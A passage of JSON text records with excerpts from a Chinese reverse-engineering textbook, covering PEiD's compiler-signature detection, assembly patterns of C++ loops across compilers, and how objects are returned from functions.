    {"text": "代码清单14-1 0x00438D13地址处的函数IDA分析 ; 反汇编代码截取自IDA 00438C20 sub_438C20 proc near 00438C20 var_488 = dword ptr -488h 00438C20 var_484 = byte ptr -484h 00438C20 var_483 = byte ptr -483h ; 定义了大量1字节大小的连续变量初步怀疑是数组结构变量地址范围为488h~450h 00438C20 var_450 = byte ptr -450h ; 有区别的局部变量 00438C20 var_44C = dword ptr -44Ch 00438C20 var_448 = byte ptr -448h 00438C20 var_408 = byte ptr -408h 00438C20 arg_0 = dword ptr 4 ; 参数标号定义 00438C20 arg_4 = dword ptr 8 ; 参数标号定义 00438C20 sub esp, 488h ; 共开辟了488h字节的局部变量 00438C26 push ebx ; 保存环境信息 00438C27 push ebp ; 同上 00438C28 push esi ; 同上 00438C29 push edi ; 同上 00438C2A mov al, 72h ; 赋值al为72h等于十进制114 00438C2C mov [esp+498h+var_469], al ; 特征码定义 00438C30 mov [esp+498h+var_467], al 00438C34 mov [esp+498h+var_464], al 00438C38 mov [esp+498h+var_45F], al 00438C3C mov [esp+498h+var_45B], al 00438C40 mov al, 63h ; 同上 00438C42 mov [esp+498h+var_458], al 00438C46 mov [esp+498h+var_457], al 00438C4A mov al, 73h ; 同上 00438C4C mov [esp+498h+var_455], al 00438C50 mov [esp+498h+var_454], al 00438C54 mov al, 6Ch ; 同上 00438C56 mov [esp+498h+var_451], al 00438C5A mov [esp+498h+var_450], al 00438C5E mov esi, [esp+498h+arg_4] ; esi保存第二个参数 ; 结合OD分析eax获取的数据为PE格式中IMAGE_NT_HEADERS头部所在的地址 00438C65 mov eax, [esi+0Ch] ; 结合OD分析edx获取的数据为“.text”节区的首地址 00438C68 mov edx, [esi+18h] 00438C6B mov cl, 6Dh ; 特征码定义 00438C6D mov [esp+498h+var_462], cl 00438C71 mov [esp+498h+var_45A], cl 00438C75 mov bl, 41h ; 特征码定义 00438C77 mov [esp+498h+var_46C], 7Bh 00438C7C mov [esp+498h+var_46B], 4Fh 00438C81 mov [esp+498h+var_46A], 75h 00438C86 mov [esp+498h+var_468], 50h 00438C8B mov [esp+498h+var_466], 6Fh 00438C90 mov [esp+498h+var_465], 67h 00438C95 mov [esp+498h+var_463], 61h 00438C9A mov [esp+498h+var_461], 44h 00438C9F mov [esp+498h+var_460], 69h 00438CA4 mov [esp+498h+var_45E], 7Dh 00438CA9 mov [esp+498h+var_45D], 5Ch 00438CAE mov [esp+498h+var_45C], bl 00438CB2 mov [esp+498h+var_459], bl 00438CB6 mov [esp+498h+var_456], 65h 00438CBB mov [esp+498h+var_453], 2Eh 00438CC0 mov [esp+498h+var_452], 64h 00438CC5 mov [esp+498h+var_480], 4Dh 00438CCA mov [esp+498h+var_47F], 53h 00438CCF mov [esp+498h+var_47E], 43h 00438CD4 mov [esp+498h+var_47D], 46h ; eax为IMAGE_NT_HEADERS的首地址首地址加6后取出数据这个数据在PE格式中对应的是区块数目然后保存至eax 00438CD9 movzx eax, word ptr [eax+6] 00438CDD lea ecx, [eax+eax*4] ; 节区数目乘以5 00438CE0 mov ebp, [edx+ecx*8-18h] ; 计算后得到“.data”文件所占的大小 ; 经过计算偏移后eax保存了“.data”节区的首地址 00438CE4 lea eax, [edx+ecx*8-28h] 00438CE8 mov edi, [eax+14h] ; 获取“.data”在磁盘中的偏移 00438CEB mov eax, [esi+4] ; 获取第二个参数指向结构中的第二项数据 ; 对“.data”节区首地址加上其长度这样使得edi指向了“.data”节末尾 00438CEE add edi, ebp 00438CF0 mov ebp, [esp+498h+arg_0] ; 获取第一个参数 00438CF7 lea ecx, [edi+3900h] 00438CFD cmp eax, ecx 00438CFF jnb short loc_438D1B ; 检查比较eax如果成功则跳过OEP检查 00438D01 mov edx, [ebp+20h] ; 获取程序到OEP程序入口地址 00438D04 test edx, edx ; 检查OEP 00438D06 jz short loc_438D1B 00438D08 mov ecx, [esi+18h] ; 获取“.text”节的首地址 00438D0B mov edi, [ecx+14h] ; 获取“.text”文件的偏移 00438D0E add edi, [ecx+10h] ; 使用“.text”文件偏移加文件大小 00438D11 cmp edx, edi ; 检查OEP是否在“.text”节中 00438D13 jb loc_438FFD ; 跳转成功检查结束 ; 部分代码分析略 loc_438FFD: 00438FFD push 18h ; 确定编译器版本 00438FFF push offset aMicrosoftVis_1 ; \"Microsoft Visual C++ 6.0\" 在代码清单14-1中进入函数不久后就定义了一个很大的数组并对数组进行初始化。"},
    {"text": "再次分析程序流程修改地址0x00438D13的jb跳转为nop继续执行查看程序流程会出现哪些特征判定如代码清单14-2所示。 代码清单14-2 修改跳转指令后的流程OllyDbg调试 00438D13 nop ; 其余NOP略 00438D18 nop ; 此处代码为代码清单14-1的最后一个JB跳转修改 ; 以下检查为OEP检查失败的情况 00438D19 mov edi,edx ; 将OEP传入EDI 00438D1B sub eax,edi ; eax中保存了.data节的结尾地址 00438D1D cmp eax,9 ; 检查OEP是否在.data节中 00438D20 jb upPEiD.00438FFD 00438D26 mov edx,dword ptr ds:[esi] ; 获取分析程序在PEiD内存中的OEP位置 00438D28 lea ecx,dword ptr ds:[edx+edi] 00438D2B mov edx,dword ptr ds:[ecx] ; edx中保存了OEP处4字节的数据 00438D2D cmp edx,74736E49 ; 特征比较 ; OEP数据0x6AEC8B55两者不等跳转成立 00438D33 jnz short upPEiD.00438D4A ; 跟踪到地址0x00438D4A处 ; 如果跳转失败则继续检查OEP的后4字节数据 00438D35 cmp dword ptr ds:[ecx+4],536C6C61 ; 这两处共检查了OEP处8字节的特征码拼接后为49 6E 73 74 61 6C 6C 53 00438D3C jnz short upPEiD.00438D4A ; 同样这里也会跳转到0x00438D4A ; =====================判定为其他编译器编译的程序==================== 00438D3E push 17 ; 压入显示字符串长度 00438D40 push upPEiD.00405ab4 ; 压入显示字符串 00438D45 jmp upPEiD.00439004 ; 修改流程到显示字符串函数调用处 ; ================================================================== 00438D4A cmp edx,61746164 ; 继续OEP特征码比较 ; …… ; 略去部分其他版本的分析 ; …… 00438E40 mov eax,dword ptr ds:[esi+c] ; 获取IMAGE_NT_HEADERS位置 00438E43 mov eax,dword ptr ds:[eax+28] ; 获取代码段位置 00438E46 push eax 00438E47 mov ecx,esi 00438E49 call upPEiD.00453280 ; 计算偏移值得到正确的OEP 00438E4E mov edi,eax 00438E50 mov eax,dword ptr ds:[esi+18] ; 获取.text节首地址 00438E53 mov ecx,dword ptr ds:[eax+14] ; 获取.text节磁盘偏移 ; 获取.text节占用的磁盘大小将ECX调整到末尾 00438E56 add ecx,dword ptr ds:[eax+10] 00438E59 cmp edi,ecx ; 比较OEP是否在于.text节中 00438E5B jb upPEiD.00438FF6 ; 跳转到显示编译器版本处 通过对代码清单14-2的分析我们可以更加深入地了解PEiD分析VC++6.0程序的流程。"},
    {"text": "如果OEP不在“.text”节中程序会先根据入口特征码比较oep入口处的8字节机器码分析目标是否为其他编译器生成的。 如果不符合特征将会调整OEP加入文件偏移与虚拟地址偏移的转换过程再次用特征码对比OEP处的机器码。"},
    {"text": "也许读者会有疑问VC++ 6.0的判定过程不是已经在函数地址0x00438D13中了吗如果你这样想那就大错特错了地址0x00438D13已经是判定过程的结尾了。"},
    {"text": "那么如何找到代码清单14-2的调用处呢 首先需要定位到函数地址0x00438D13的调用函数利用OllyDbg的栈窗口根据函数的调用机制函数被调用后会在栈的最顶端压入函数的返回地址这样就给了我们线索。"},
    {"text": "图14-5 栈中返回的地址信息 图14-5显示了在栈地址0x00FBFF04中保存的地址数据0x00452F46OllyDbg已经标注了这个地址就是函数的返回地址。"},
    {"text": "有了返回地址单击反汇编视图窗口按下Ctrl + G组合键输入地址0x00452F46并定位到返回函数中如图14-6所示。 图14-6 返回地址处的代码信息 图14-6中地址0x00452F3F处就是代码清单14-2中函数的返回地址。"},
    {"text": "首先来观察一下这个函数指针数组如图14-7所示。 图14-7 函数指针数组 图14-7只是这个数组的冰山一角这个数组中还存储了大量的数据就不一一展示了。"},
    {"text": "代码清单14-3 编译器检查分类函数OllyDbg调试 00452E90 mov eax,dword ptr fs:[0] ; 函数入口 00452E96 push -1 00452E98 push upPEiD.0046CDC8 ; 异常处理 00452E9D push eax 00452E9E mov dword ptr fs:[0],esp 00452EA5 sub esp,10 ; 申请局部变量空间 00452EA8 push esi 00452EA9 mov esi,dword ptr ss:[esp+24] ; 参数1 00452EAD mov eax,dword ptr ds:[esi+14] 00452EB0 mov eax,dword ptr ds:[eax+10] ; 获取代码段起始RVA 00452EB3 push edi ; 压入参数1 00452EB4 mov edi,ecx ; 获取this指针 00452EB6 push eax ; 压入代码段起始RVA 00452EB7 mov ecx,esi ; 检查PE文件格式对OEP的文件偏移与虚拟地址偏移进行转换 00452EB9 call upPEiD.00453280 00452EBE cmp eax,dword ptr ds:[esi+4] ; 函数返回调整后的OEP 00452EC1 jb short upPEiD.00452ED8 ; 跳转成功进入分析阶段 ;================= =========进入分析失败流程========================== 00452EC3 pop edi ; 无法分析的程序 00452EC4 xor al,al 00452EC6 pop esi 00452EC7 mov ecx,dword ptr ss:[esp+10] 00452ECB mov dword ptr fs:[0],ecx 00452ED2 add esp,1c 00452ED5 retn 8 ;=================================================================== 00452ED8 push ebx 00452ED9 mov ebx,dword ptr ss:[esp+30] 00452EDD mov dword ptr ds:[ebx+20],eax ; 保存调整后的OEP 00452EE0 mov ecx,dword ptr ds:[esi+4] 00452EE3 mov edx,dword ptr ds:[esi] 00452EE5 sub ecx,eax 00452EE7 push ecx 00452EE8 add edx,eax 00452EEA push edx ; 载入内存后的程序入口地址 00452EEB lea ecx,dword ptr ss:[esp+14] 00452EEF push ecx 00452EF0 mov ecx,edi ; 在此函数中对OEP代码与特征码进行了对比这是一个重要的函数有了它PEiD ; 可以检查出分析程序是否在可识别的编译器范围内 00452EF2 call upPEiD.0045A3E0 00452EF7 mov eax,dword ptr ss:[esp+14] 00452EFB mov ecx,dword ptr ss:[esp+10] 00452EFF mov edx,eax 00452F01 sub edx,ecx 00452F03 sar edx,2 00452F06 push edx 00452F07 push eax 00452F08 push ecx 00452F09 mov dword ptr ss:[esp+30],0 ; 根据函数0045A3E0对OEP处特征码的对比结果找到用于处理的函数指针 ; 在数组中的下标值都存放在地址“ESP+1C”的数组中 00452F11 call upPEiD.004524B0 00452F16 mov edi,dword ptr ss:[esp+1c] 00452F1A mov eax,dword ptr ss:[esp+20] 00452F1E add esp,0c 00452F21 cmp edi,eax 00452F23 je short upPEiD.00452F5C ; 没有匹配的特征函数结束分析 00452F25 mov eax,dword ptr ds:[edi] 00452F27 push eax 00452F28 push esi 00452F29 push ebx 00452F2A call dword ptr ds:[401E8C] ; 检查“.rdata”节是否存在 00452F30 add esp,0c 00452F33 test al,al 00452F35 jnz short upPEiD.00452F7F ; 不存在结束查询分析 00452F37 mov eax,dword ptr ds:[edi] 00452F39 push eax 00452F3A push esi 00452F3B lea ecx,dword ptr ds:[eax+eax*2] 00452F3E push ebx 00452F3F call dword ptr ds:[ecx*4+401E8C] ; 调用分析函数 00452F46 add esp,0c 00452F49 test al,al 00452F4B jnz short upPEiD.00452F7F 00452F4D mov eax,dword ptr ss:[esp+14] 00452F51 add edi,4 00452F54 cmp edi,eax ; 循环跳转当没有匹配到对应的处理函数时调整下标数组继续调用 00452F56 jnz short upPEiD.00452F25 代码清单14-3完成了对OEP处特征码的比较根据比较结果从图14-7的函数指针数组中找到符合此特征的处理流程记录下标值然后将它们保存在另一个存放下标值的数组中。"},
    {"text": "这时第一次过滤已经完成进入第二次过滤检查、分析程序中是否存在第二个节通常VC编译器所编译的程序为“.rdata”节节名称不作为判断条件。 在“.rdata”节也同时存在的情况下会进行最后一次分析过滤在下标数组中取出下标值调用对应的处理函数。"},
    {"text": "代码清单14-4 特征码校验分析OllyDbg 0045A3E0 push -1 0045A3E2 push upPEiD.0046D238 ; SE处理程序安装 0045A3E7 mov eax,dword ptr fs:[0] 0045A3ED push eax 0045A3EE mov dword ptr fs:[0],esp 0045A3F5 sub esp,14 0045A3F8 push ebx 0045A3F9 push ebp 0045A3FA xor ebx,ebx 0045A3FC push esi 0045A3FD push edi 0045A3FE mov esi,ecx ; 获取this指针 0045A400 mov dword ptr ss:[esp+10],ebx 0045A404 mov dword ptr ss:[esp+18],ebx 0045A408 mov dword ptr ss:[esp+1c],ebx 0045A40C mov dword ptr ss:[esp+20],ebx ; 数组清零 0045A410 mov edi,dword ptr ss:[esp+38] ; 获取OEP并保存至EDI 0045A414 movzx eax,byte ptr ds:[edi] ; 获取OEP地址处的数据 ; 对this指针进行偏移计算偏移量为OEP首字节数据乘以4再加0x14 0045A417 mov eax,dword ptr ds:[esi+eax*4+14] 0045A41B cmp eax,-1 0045A41E mov ebp,dword ptr ss:[esp+3c] ; OEP差值 0045A422 mov dword ptr ss:[esp+2c],ebx ; 清空局部变量 0045A426 je short upPEiD.0045A437 0045A428 push ebp 0045A429 push edi 0045A42A push eax 0045A42B lea ecx,dword ptr ss:[esp+20] ; 获取数组首地址 0045A42F push ecx 0045A430 mov ecx,esi ; 传递this指针 ; 检查OEP处的代码是否与特征码相同在这个函数中将OEP处的字节码与特征 ; 码进行对比从OEP开始对机器码和特征码做比较比较OEP处机器码的下标如下 ; 0x0、0x 1、0x 2、0x 3、0x 4、0x 5、0x A、0x F、0x 10、 ; 0x 11、0x16、0x18、0x1D、0x1E 0045A432 call upPEiD.0045A1D0 0045A437 mov eax,dword ptr ds:[esi+414] 0045A43D cmp eax,-1 0045A440 je short upPEiD.0045A451 0045A442 push ebp 0045A443 push edi 0045A444 push eax 0045A445 lea edx,dword ptr ss:[esp+20] 0045A449 push edx 0045A44A mov ecx,esi 0045A44C call upPEiD.0045A1D0 ; 此函数功能同上 ; 其余代码分析略 通过对代码清单14-4的分析终于找到了重要的比较函数0x0045A1D0这个函数完成了获取分析程序的机器码与事先准备好的特征码的比较最终提取出了具有相同特性的编译器的版本。"},
    {"text": "示例程序OEP处的机器码如图14-8所示。 图14-8 示例程序OEP处的机器码信息 在图14-8中地址0x00401634作为首地址将内存中的数据拼接成机器码指令。"},
    {"text": "C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 5.7 do、while、for的比较 C++使用3种语法完成循环结构分别为do、while、for。"},
    {"text": "C++中的goto语句也可以用来模拟do循环结构如代码清单5-21所示。 代码清单5-21 使用goto语句模拟do循环 //C++源码 #include <stdio.h> int main(int argc, char* argv[]) { int count = argc; int sum = 0; int i = 0; GOTO_DO: //用于goto语句跳转使用标记 sum += i; //此处为循环语句块保存每次累加和 i++; //指定循环步长为每次递增1 if (i <= count) { //若nIndex大于nCount则结束goto调用 goto GOTO_DO; } return sum; // 返回结果 } 代码清单5-21演示了使用goto语句与if分支结构实现do循环的过程。 程序按照自上向下的顺序执行代码通过goto语句向上跳转修改流程实现循环。"},
    {"text": "代码清单5-22 do循环Debug版 // C++ 源码 #include <stdio.h> int main(int argc, char* argv[]) { int sum = 0; int i = 0; do { sum += i; i++; } while(i <= argc); return sum; } //x86_vs对应汇编代码讲解 00401000 push ebp 00401001 mov ebp, esp 00401003 sub esp, 8 00401006 mov dword ptr [ebp-8], 0 ;sum=0 0040100D mov dword ptr [ebp-4], 0 ;i=0 { 00401014 mov eax, [ebp-8] ;do_while语句块代码 00401017 add eax, [ebp-4] 0040101A mov [ebp-8], eax ;sum+=i 0040101D mov ecx, [ebp-4] 00401020 add ecx, 1 00401023 mov [ebp-4], ecx ;i+=1 } 00401026 mov edx, [ebp-4] 00401029 cmp edx, [ebp+8] 0040102C jle short loc_401014 ;如果i<=argc跳转到do_while语句块代码 0040102E mov eax, [ebp-8] ;do_while结束代码块 00401031 mov esp, ebp 00401033 pop ebp 00401034 retn //x86_gcc对应汇编代码讲解 00401510 push ebp 00401511 mov ebp, esp 00401513 and esp, 0FFFFFFF0h 00401516 sub esp, 10h 00401519 call ___main 0040151E mov dword ptr [esp+0Ch], 0 ;sum=0 00401526 mov dword ptr [esp+8], 0 ;i=0 { 0040152E mov eax, [esp+8] ;do_while语句块代码 00401532 add [esp+0Ch], eax ;sum+=i 00401536 add dword ptr [esp+8], 1 ;i+=1 0040153B mov eax, [esp+8] 0040153F cmp eax, [ebp+8] 00401542 jg short loc_401546 ;如果i>argc跳转到do_while结束代码块 } 00401544 jmp short loc_40152E ;跳转到do_while语句块代码 00401546 mov eax, [esp+0Ch] ;do_while结束代码块 0040154A leave 0040154B retn //x86_clang对应汇编代码相似略 //x64_vs对应汇编代码讲解 0000000140001000 mov [rsp+10h], rdx 0000000140001005 mov [rsp+8], ecx 0000000140001009 sub rsp, 18h 000000014000100D mov dword ptr [rsp+4], 0 ;sum=0 0000000140001015 mov dword ptr [rsp], 0 ;i=0 { 000000014000101C mov eax, [rsp] ;do_while_while语句块代码 000000014000101F mov ecx, [rsp+4] 0000000140001023 add ecx, eax 0000000140001025 mov eax, ecx 0000000140001027 mov [rsp+4], eax ;sum+=i 000000014000102B mov eax, [rsp] 000000014000102E inc eax 0000000140001030 mov [rsp], eax ;i+=1 } 0000000140001033 mov eax, [rsp+20h] 0000000140001037 cmp [rsp], eax 000000014000103A jle short loc_14000101C ;如果i<=argc跳转到do_while语句块代码 000000014000103C mov eax, [rsp+4] ;do_while结束代码块 0000000140001040 add rsp, 18h 0000000140001044 retn //x64_gcc对应汇编代码讲解 0000000000401550 push rbp 0000000000401551 mov rbp, rsp 0000000000401554 sub rsp, 30h 0000000000401558 mov [rbp+10h], ecx 000000000040155B mov [rbp+18h], rdx 000000000040155F call __main 0000000000401564 mov dword ptr [rbp-4], 0 ;sum=0 000000000040156B mov dword ptr [rbp-8], 0 ;i=0 { 0000000000401572 mov eax, [rbp-8] ;do_while语句块代码 0000000000401575 add [rbp-4], eax ;sum++i 0000000000401578 add [rbp-8], 1 ;i+=1 000000000040157C mov eax, [rbp-8] 000000000040157F cmp eax, [rbp+10h] 0000000000401582 jg short loc_401586 ;如果i>argc跳转到do_while结束代码块 } 0000000000401584 jmp short loc_401572 ;跳转到do_while语句块代码 0000000000401586 mov eax, [rbp-4] ;do_while结束代码块 0000000000401589 add rsp, 30h 000000000040158D pop rbp 000000000040158E retn //x64_clang对应汇编代码相似略 代码清单5-22中的循环比较语句“while(i <= count)”转换成的汇编代码和if分支结构非常相似分析后发现它们并不相同。"},
    {"text": "if语句的跳转地址大于当前代码的地址是一个向下跳转的过程。 而do循环结构中的跳转地址小于当前代码的地址是一个向上跳转的过程所以条件跳转的逻辑与源码中的逻辑相同。 有了这个特性if语句与do循环就很好区分了。 总结 如果遇到以上代码块即可判定它为一个do循环结构如果只有do循环结构则无须检查可直接执行循环语句块。"},
    {"text": "2. while循环 while循环和do循环正好相反在执行循环语句块之前必须要进行条件判断根据比较结果再选择是否执行循环语句块如代码清单5-23所示。 代码清单5-23 while循环Debug版 // C++ 源码 #include <stdio.h> int main(int argc, char* argv[]) { int sum = 0; int i = 0; while(i <= argc) { sum += i; i++; } return sum; } //x86_vs对应汇编代码讲解 00401000 push ebp 00401001 mov ebp, esp 00401003 sub esp, 8 00401006 mov dword ptr [ebp-8], 0 ;sum=0 0040100D mov dword ptr [ebp-4], 0 ;i=0 { 00401014 mov eax, [ebp-4] ;while语句代码块 00401017 cmp eax, [ebp+8] 0040101A jg short loc_401030 ;如果i>argc则跳转到while结束代码块 0040101C mov ecx, [ebp-8] 0040101F add ecx, [ebp-4] 00401022 mov [ebp-8], ecx ;sum+=i 00401025 mov edx, [ebp-4] 00401028 add edx, 1 0040102B mov [ebp-4], edx ;i+=1 } 0040102E jmp short loc_401014 ;跳转到while语句代码块 00401030 mov eax, [ebp-8] ;while结束代码块 00401033 mov esp, ebp 00401035 pop ebp 00401036 retn //x86_gcc对应汇编代码相似略 //x86_clang对应汇编代码相似略 //x64_vs对应汇编代码讲解 0000000140001000 mov [rsp+10h], rdx 0000000140001005 mov [rsp+8], ecx 0000000140001009 sub rsp, 18h 000000014000100D mov dword ptr [rsp+4], 0;sum=0 0000000140001015 mov dword ptr [rsp], 0 ;i=0 { 000000014000101C mov eax, [rsp+20h] ;while语句代码块 0000000140001020 cmp [rsp], eax 0000000140001023 jg short loc_14000103E ;如果i>argc则跳转到while结束代码块 0000000140001025 mov eax, [rsp] 0000000140001028 mov ecx, [rsp+4] 000000014000102C add ecx, eax 000000014000102E mov eax, ecx 0000000140001030 mov [rsp+4], eax ;sum+=i 0000000140001034 mov eax, [rsp] 0000000140001037 inc eax 0000000140001039 mov [rsp], eax ;i+=1 } 000000014000103C jmp short loc_14000101C ;跳转到while语句代码块 000000014000103E mov eax, [rsp+4] ;while结束代码块 0000000140001042 add rsp, 18h 0000000140001046 retn //x64_gcc对应汇编代码相似略 //x64_clang对应汇编代码相似略 在代码清单5-23中转换后的while和if语句一样也是比较相反向下跳转的。 如何区分代码中是分支结果还是循环结构呢方法是查看条件指令跳转地址0x00401030如果这个地址有一句JMP指令并且指令跳转到的地址小于当前代码地址那么很明显这是一个向上跳转。 要完成语句循环就需要修改程序流程回到循环语句处因此向上跳转就成了循环结构的明显特征。 根据这些特性可知while循环结构的特征在条件跳转到的地址附近会有JMP指令修改程序流程向上跳转回到条件比较指令处。 while循环结构中使用了两次跳转指令完成循环因为多使用了一次跳转指令所以while循环比do循环效率低一些。 总结 遇到以上代码块即可判定为while循环结构。"},
    {"text": "需要注意的是while循环结构很可能被优化成do循环结构被转换后的while结构需要检查是否可以被成功执行一次通常会被嵌套在if单分支结构中还原后的高级代码如下所示。 if(xxx) { do { // …… }while(xxx) } 3. for循环 for循环是3种循环结构中最复杂的一种。 for循环由赋初值、设置循环条件、设置循环步长3条语句组成。"},
    {"text": "代码清单5-24 for循环结构Debug版 // C++源码 #include <stdio.h> int main(int argc, char* argv[]) { int sum = 0; for (int i = 0; i <= argc ; i++) { sum += i; } return sum; } //x86_vs对应汇编代码讲解 0401000 push ebp 00401001 mov ebp, esp 00401003 sub esp, 8 00401006 mov dword ptr [ebp-8], 0 ;sum=0 { 0040100D mov dword ptr [ebp-4], 0 ;赋初值语句代码块i=0 } 00401014 jmp short loc_40101F ;跳转到for语句代码块 { 00401016 mov eax, [ebp-4] ;步长语句代码块 00401019 add eax, 1 0040101C mov [ebp-4], eax ;i+=1 } { 0040101F mov ecx, [ebp-4] ;for语句代码块 00401022 cmp ecx, [ebp+8] 00401025 jg short loc_401032 ;如果i>argc则跳转到for结束语句块 00401027 mov edx, [ebp-8] 0040102A add edx, [ebp-4] 0040102D mov [ebp-8], edx ;sum+=i } 00401030 jmp short loc_401016 ;跳转到步长语句代码块 00401032 mov eax, [ebp-8] ;for结束语句块 00401035 mov esp, ebp 00401037 pop ebp 00401038 retn //x86_gcc对应汇编代码与上例相同略 //x86_clang对应汇编代码与上例相同略 //x64_vs对应汇编代码讲解 0000000140001000 mov [rsp+10h], rdx 0000000140001005 mov [rsp+8], ecx 0000000140001009 sub rsp, 18h 000000014000100D mov dword ptr [rsp+4], 0 ;sum=0 { 0000000140001015 mov dword ptr [rsp], 0 ;赋初值语句代码块i=0 } 000000014000101C jmp short loc_140001026 ;跳转到for语句代码块 { 000000014000101E mov eax, [rsp] ;步长语句代码块 0000000140001021 inc eax 0000000140001023 mov [rsp], eax ;i+=1 } { 0000000140001026 mov eax, [rsp+20h] ;for语句代码块 000000014000102A cmp [rsp], eax 000000014000102D jg short loc_140001040 ;如果i>argc则跳转到for结束语句块 000000014000102F mov eax, [rsp] 0000000140001032 mov ecx, [rsp+4] 0000000140001036 add ecx, eax 0000000140001038 mov eax, ecx 000000014000103A mov [rsp+4], eax ;sum+=i } 000000014000103E jmp short loc_14000101E ;跳转到步长语句代码块 0000000140001040 mov eax, [rsp+4] 0000000140001044 add rsp, 18h 0000000140001048 retn //x64_gcc对应汇编代码与上例相同略 //x64_clang对应汇编代码与上例相同略 代码清单5-24展示了for循环结构在Debug调试版下的汇编代码。"},
    {"text": "for循环结构为什么要设计得如此复杂呢由于for循环分为赋初值、设置循环条件、设置循环步长这3个部分为了单步调试程序将汇编代码与源码进行一一对应在Debug版下有了这样的设计循环流程如图5-12所示。 图5-12 for循环结构流程图 根据对代码清单5-24及图5-12中for循环流程的分析可以总结for循环结构在Debug版下的特性。 总结 遇到以上代码块即可判定为for循环结构。"},
    {"text": "然后通过3个跳转指令还原for循环的各个组成部分第一个jmp指令之前的代码为初始化部分从第一个jmp指令到循环条件比较处也就是上面代码中FOR_CMP标号的位置之间的代码为步长计算部分在条件跳转指令jxx之后寻找一个jmp指令这个jmp指令必须是向上跳转的且其目标是到步长计算的位置在jxx和这个jmp指令也就是上面代码中省略号所在的位置之间的代码即为循环语句块。"},
    {"text": "在这3种循环结构中while循环和for循环一样都是先判断再循环。 因为需要先判断所以需要将判断语句放置在循环语句之前这就使while循环和for循环的结构没有do循环那么简洁。"},
    {"text": "C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 9.5 对象作为返回值 对象作为函数的返回值时与基本的数据类型不同。"},
    {"text": "基本数据类型浮点类型、非标准类型除外作为返回值时32位程序不超过4字节的数据通过eax返回在64位程序不超过8字节的数据使用rax返回。"},
    {"text": "对象作为参数时进入函数前预先保留对象使用的栈空间并将实参对象中的数据复制到栈空间中。 该栈空间作为函数参数用于函数内部使用。 同理对象作为返回值时进入函数后将申请返回对象使用的栈空间在退出函数时将返回对象中的数据复制到临时的栈空间中以这个临时栈空间的首地址作为返回值。"},
    {"text": "在调用getPerson前编译器将在main()函数中申请的返回对象的首地址作为参数压栈在函数getPerson调用结束后进行数据复制将getPerson函数中定义的局部对象person的数据复制到这个返回对象的空间中再将这个返回的对象复制给目标对象person从而达到返回对象的目的。"},
    {"text": "因为在这个示例中不存在函数返回后为对象的引用赋值所以这里的返回对象是临时存在的也就是C++中的临时对象作用域仅限于单条语句。 为什么会产生这个临时对象呢因为调用返回对象的函数时C++程序员可能采用这类写法如getPerson().count这只是针对返回对象的操作而此时函数已经退出其栈帧也被关闭了。 函数退出后去操作局部对象显然不合适因此只能由函数的调用方准备空间建立临时对象然后将函数中的局部对象复制给临时对象再把这个临时对象交给调用方去操作。 本例中的person = getPerson()是个赋值运算因为赋值时getPerson函数已经退出所以栈空间也关闭了。 同理person不能直接和函数内局部对象做赋值运算因此需要临时对象记录返回值之后再参与赋值。"},
    {"text": "当对象作为函数的参数时可以传递指针当对象作为返回值时如果对象在函数内部被定义为局部变量则不可返回此对象的首地址或引用以避免返回已经被释放的局部变量代码如下所示。"},
    {"text": "class Test{ public: int mem1; int mem2; }; // 错误1返回局部对象的首地址 Test* getTest(){ Test test; return &test; } //错误2返回局部对象的引用等同于返回局部对象的首地址 Test& getTest(){ Test test; return test; } 由于函数退出后栈内对象的空间将被释放因此无法保证返回值指向地址的数据的正确性。"},
    {"text": "引用返回值后如果运气好会导致数据访问错误和程序当场出错。 如果运气再好一点程序就会直接崩溃这样就能在调试的时候发现错误。 如果运气实在很差在开发时数据访问正常程序也工作正常这个问题可能会成为一个隐藏很深的错误。"},
    {"text": "不过不用太担心只要你在VS工程中设置的警告级别warning level不是None这个问题在编译检查时就会被警告只要你不漠视编译器的每个警告就行最好把Warnings as errors打上勾。 要解决此类错误只能避免返回函数内局部变量的地址但可以返回堆地址还可以使用返回对象的办法来代替。"},
    {"text": "编译器在处理简单的结构体和类结构时二者经过02选项的编译优化后将难以区分它们和局部变量但仍可根据数据的访问过程还原相应的数据如代码清单9-9所示。"},
    {"text": "代码清单9-9 还原对象数据Release版 //x86_vs对应汇编代码讲解 00401010 push 0Ah ;常量传播优化 00401012 push 1 ;常量传播优化 00401014 push 0Ah ;常量传播优化 00401016 push offset aDDD ;\"%d %d %d\" 0040101B call sub_401030 ;调用printf函数 00401020 add esp, 10h 00401023 xor eax, eax 00401025 retn //x86_gcc对应汇编代码讲解 004025A0 push ebp 004025A1 mov ebp, esp 004025A3 and esp, 0FFFFFFF0h 004025A6 sub esp, 40h 004025A9 call ___main 004025AE xor eax, eax ;i=0 004025B0 add eax, 1 ;i++ 004025B3 mov [esp+eax*4+14h], eax ;person.buffer[i] = i 004025B7 cmp eax, 0Ah 004025BA jnz short loc_4025B0 ;如果i == 10结束循环 004025BC mov eax, [esp+3Ch] ;eax=person.buffer[9] 004025C0 mov dword ptr [esp+4], 0Ah ;参数2person.count 004025C8 mov dword ptr [esp], offset aDDD ;参数1\"%d %d %d\" 004025CF mov [esp+0Ch], eax ;参数4person.buffer[9] 004025D3 mov eax, [esp+18h] 004025D7 mov [esp+8], eax ;参数3person.buffer[0] 004025DB call _printf ;调用printf函数 004025E0 xor eax, eax 004025E2 leave 004025E3 retn //x86_clang对应汇编代码相似略 //x64_vs对应汇编代码讲解 0000000140001010 sub rsp, 58h 0000000140001014 mov edx, 0Ah ;常量传播优化 0000000140001019 mov dword ptr [rsp+20h], 0Ah ;常量传播优化 0000000140001021 mov dword ptr [rsp+24h], 1 ;常量传播优化 0000000140001029 lea rcx, aDDD ;\"%d %d %d\" 0000000140001030 mov r8, [rsp+58h+var_38] 0000000140001035 mov r9d, edx 0000000140001038 shr r8, 20h 000000014000103C call sub_140001050 ;调用printf函数 0000000140001041 xor eax, eax 0000000140001043 add rsp, 58h 0000000140001047 retn //x64_gcc对应汇编代码讲解 0000000000402C10 sub rsp, 58h 0000000000402C14 call __main 0000000000402C19 lea rdx, [rsp+20h] 0000000000402C1E mov eax, 1 ;i=1 0000000000402C23 mov [rdx+rax*4], eax ;person.buffer[i] = i 0000000000402C26 add rax, 1 ;i++ 0000000000402C2A cmp rax, 0Bh 0000000000402C2E jnz short loc_402C23 ;如果I == 11结束循环 0000000000402C30 mov r9d, [rsp+48h] ;参数4person.buffer[9] 0000000000402C35 mov edx, 0Ah 